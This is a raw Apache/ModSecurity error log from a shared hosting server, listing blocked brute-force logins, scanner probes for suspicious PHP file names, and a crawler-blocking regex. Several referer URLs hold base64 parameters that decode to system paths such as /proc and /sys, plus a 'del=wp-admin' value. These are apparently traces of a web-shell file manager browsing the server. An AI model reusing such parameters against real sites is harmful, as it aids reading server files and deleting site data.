ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wusTA7b1mZrmcA-8GegAAAkU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:22.190809 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:22.191071 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:22.197986 2026] [security2:error] [pid 531155:tid 531261] [remote 17.246.19.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuimiP80klyS0NnrkKAABL2k"] [Sat Jun 13 18:07:22.225443 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.33:22813] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:22.225932 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.33:22813] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:22.254026 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:22.254431 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:22.259481 2026] [security2:error] [pid 531155:tid 531250] [remote 17.241.227.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuimiP80klyS0NnrkLAABZF4"] [Sat Jun 13 18:07:22.455206 2026] [security2:error] [pid 531155:tid 531318] [client 191.233.234.186:53476] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/rum.php"] [unique_id "ai3wuimiP80klyS0NnrkMAAAASs"] [Sat Jun 13 18:07:22.586879 2026] [security2:error] [pid 531155:tid 531241] [remote 17.241.219.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuimiP80klyS0NnrkNQABh1U"] [Sat Jun 13 18:07:22.637024 2026] [security2:error] [pid 531155:tid 531379] [client 114.119.138.251:40869] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "solarrackworks.com"] [uri "/phone/index.html"] [unique_id "ai3wuimiP80klyS0NnrkNgAAAWg"], referer: https://diysolarforum.com/threads/no-more-brightmounts.98731/page-2 [Sat Jun 13 18:07:22.643082 2026] [security2:error] [pid 531797:tid 532034] [client 191.233.234.186:29466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.worldsolarprous.com"] [uri "/crgio.php"] [unique_id "ai3wusTA7b1mZrmcA-8GjAAAAjk"] [Sat Jun 13 18:07:22.709892 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3IvbGliZXhlYw== [Sat Jun 13 18:07:22.710222 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3IvbGliZXhlYw== [Sat Jun 13 18:07:22.731386 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvaVRDT193ZHQvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:07:22.731848 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvaVRDT193ZHQvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:07:23.168054 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.92:44184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:23.168506 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.92:44184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:23.221675 2026] [security2:error] [pid 531797:tid 532075] [client 191.234.188.123:64639] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/aevly.php"] [unique_id "ai3wu8TA7b1mZrmcA-8GowAAAmE"] [Sat Jun 13 18:07:23.230573 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvaXJxLzQ2 [Sat Jun 13 18:07:23.230857 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvaXJxLzQ2 [Sat Jun 13 18:07:23.240731 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.110:26996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:23.241089 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.110:26996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:23.254852 2026] [security2:error] [pid 531155:tid 531296] [client 20.29.78.145:46969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/themes.php"] [unique_id "ai3wuymiP80klyS0NnrkQgAAARU"] [Sat Jun 13 18:07:23.275516 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvbW91c2Uy [Sat Jun 13 18:07:23.275808 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvbW91c2Uy [Sat Jun 13 18:07:23.401809 2026] [security2:error] [pid 531797:tid 531897] [remote 17.246.23.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wu8TA7b1mZrmcA-8GqgACkyE"] [Sat Jun 13 18:07:23.415147 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.9:52882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:23.415439 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.9:52882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:23.417529 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.19:46268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:23.417816 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.19:46268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:23.593255 2026] [security2:error] [pid 531797:tid 532102] [client 191.233.234.186:44791] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/htto.php"] [unique_id "ai3wu8TA7b1mZrmcA-8GsAAAAns"] [Sat Jun 13 18:07:23.661257 2026] [security2:error] [pid 531155:tid 531378] [client 20.151.217.54:48578] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/momo.php"] [unique_id "ai3wuymiP80klyS0NnrkSwAAAWc"] [Sat Jun 13 18:07:23.673201 2026] [security2:error] [pid 531797:tid 532122] [client 148.113.209.179:36902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wu8TA7b1mZrmcA-8GtgAAAo4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:23.705664 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:23.706098 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:23.733152 2026] [security2:error] [pid 531797:tid 531971] [remote 17.241.219.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wu8TA7b1mZrmcA-8GuQACXmo"] [Sat Jun 13 18:07:23.792631 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:07:23.792948 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:07:23.917594 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:07:23.917920 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:07:24.003825 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.99:32372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:24.004279 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.99:32372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:24.035023 2026] [security2:error] [pid 531797:tid 532021] [client 191.233.234.186:53380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/cxl.php"] [unique_id "ai3wvMTA7b1mZrmcA-8GxgAAAi0"] [Sat Jun 13 18:07:24.054175 2026] [security2:error] [pid 531797:tid 532112] [client 20.151.217.54:48150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/ax.php"] [unique_id "ai3wvMTA7b1mZrmcA-8GyAAAAoU"] [Sat Jun 13 18:07:24.101998 2026] [security2:error] [pid 531797:tid 531921] [remote 17.246.15.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvMTA7b1mZrmcA-8GywACfDk"] [Sat Jun 13 18:07:24.236269 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:07:24.236759 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:07:24.266163 2026] [security2:error] [pid 531797:tid 531944] [remote 216.73.217.87:17554] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3wvMTA7b1mZrmcA-8G1AACg1A"] [Sat Jun 13 18:07:24.273843 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.97:29658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:24.274106 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.97:29658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:24.311178 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:07:24.311633 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:07:24.383349 2026] [security2:error] [pid 531797:tid 532015] [client 148.113.209.179:36914] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvMTA7b1mZrmcA-8G2wAAAic"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:24.611018 2026] [security2:error] [pid 531155:tid 531348] [client 148.113.209.179:36922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvCmiP80klyS0NnrkcAAAAUk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:24.687562 2026] [security2:error] [pid 531797:tid 532121] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri 